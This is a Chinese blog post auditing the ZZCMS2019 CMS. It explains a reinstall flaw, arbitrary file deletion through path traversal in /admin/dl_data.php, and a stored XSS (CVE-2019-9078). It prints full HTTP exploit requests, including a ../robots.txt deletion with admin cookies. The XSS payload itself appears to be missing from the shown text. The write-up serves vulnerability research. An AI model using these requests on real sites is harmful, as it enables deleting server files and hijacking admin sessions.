%3c php if() %3e,代码审计之ZZCMS2019版 XSS

本文详细分析了ZZCMS2019版本的安全漏洞,包括重装漏洞、后台任意文件删除及存储型XSS。在step1.php的安装检查、step2.php和step3.php的token生成、 dl_data.php的文件删除以及ask.php的XSS漏洞等方面进行了深入探讨,揭示了系统存在的安全隐患。
摘要由CSDN通过智能技术生成

ZZCMS2019版本代码审计记录

下载

重装漏洞

step1.php中会检测是否存在install.lock,存在则显示已经安装过,否则跳出判断,执行正常安装

ef292aa57f7960df9de22554b75aa8bb.png

但是该判断只在step1.php中存在,step2.php,step3.php,step4.php均不存在该代码

037237b7399ffce2b420240b99403c87.png

step2.php

step3.php中设置了token,计算方式是:使用rand()生成一个随机数,然后以这个随机数作为前缀生成23位的唯一ID,然后再进行md5加密确保唯一性。uniqid(prefix,more_entropy)函数基于以微秒计的当前时间,生成一个唯一的 ID。

如果 prefix参数为空,则返回的字符串有 13 个字符串长。如果 more_entropy参数设置为 true,则是 23 个字符串长。

如果more_entropy 参数设置为 true,则在返回值的末尾添加额外的熵(使用组合线形同余数生成程序),这样可以结果的唯一性更好。

12c048d8c568994c9b1d5b0b20a51fda.png

step3.php

index.php中定义了$step变量获取方法

因此重装漏洞可以通过poststep值进行触发

781481d32153c1208d8fb2bdda36ef65.png

后台任意文件删除

前提:需要后台权限

漏洞位置:/admin/dl_data.php第12行开始

其中$_GET["filename"]直接get方式取得filename,没有经过过滤,导致可跨目录任意删除文件

Payload:GET /admin/dl_data.php?action=del&filename=../robots.txt HTTP/1.1Host: www.zzcms2019.ccProxy-Connection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36DNT: 1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: PHPSESSID=pfaouuq82dnb11vske0ahqr7f2; admin=admin; pass=21232f297a57a5a743894a0e4a801fc3; tablename=zzcms_zsclass

访问后,根目录下的robots.txt已被删除

存储型XSS(CVE-2019-9078)

细读了下源码,发现在/user/ask.php中存在modify()函数,部分代码如下

以get方法获取do参数

modify()函数

其中调用了存在问题的函数markit()

函数所在文件/inc/function.php

其中的$url没有经过过滤,直接插入数据库,因此我们可以注册一个用户,访问 http://www.zzcms2019.cc/user/ask.php?do=modify&page=1&id=1,会出现

408ee84f2ca270eda33058dda667f3b0.png

这时我们可以用Burpsuite抓包,修改包体的URI路径为/user/ask.php?do=modify&page=1&id=1&aaa=

使用是因为在/inc/stopsqlin.php中有一段检测函数

2544e73e567082ced9a818560aa1440f.png

完整包体如下GET /user/ask.php?do=modify&page=1&id=1&aaa= HTTP/1.1

Host: www.zzcms2019.cc

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: __tins__713776=%7B%22sid%22%3A%201551009070949%2C%20%22vd%22%3A%205%2C%20%22expires%22%3A%201551010962798%7D; __51cke__=; __51laig__=12; bdshare_firstime=1551002231060; PHPSESSID=8o9ms5t57q6dag7ofku75fn2j7; UserName=test; PassWord=e10adc3949ba59abbe56e057f20f883e

Connection: keep-alive

Upgrade-Insecure-Requests: 1

当管理员访问后台中的用户→用户不良操作记录时

1e36a65587d94976dfda20cadf38595a.png

即可触发

2e112d4719b36a993900c444741f6179.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值